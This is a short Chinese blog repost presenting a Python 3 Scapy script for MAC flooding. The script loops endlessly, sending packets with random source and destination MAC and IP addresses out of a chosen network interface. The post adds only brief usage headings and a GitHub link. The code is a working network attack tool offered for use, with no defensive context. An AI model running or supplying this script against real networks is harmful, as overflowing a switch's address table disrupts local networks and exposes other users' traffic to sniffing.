Python3 小工具-MAC泛洪
Posted zmqqq
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python3 小工具-MAC泛洪相关的知识,希望对你有一定的参考价值。
from scapy.all import *
import optparse
def attack(interface):
pkt=Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()
sendp(pkt,iface=interface)
def main():
parser=optparse.OptionParser("%prog "+"-i interface")
parser.add_option(‘-i‘,dest=‘interface‘,default=‘eth0‘,type=‘string‘,help=‘Interface‘)
(options,args)=parser.parse_args()
interface=options.interface
try:
while True:
attack(interface)
except KeyboardInterrupt:
print(‘-------------‘)
print(‘Finished!‘)
if __name__==‘__main__‘:
main()
使用说明
开始程序
成功获取信息
github:https://github.com/zmqq/pytools/tree/master/macof
以上是关于Python3 小工具-MAC泛洪的主要内容,如果未能解决你的问题,请参考以下文章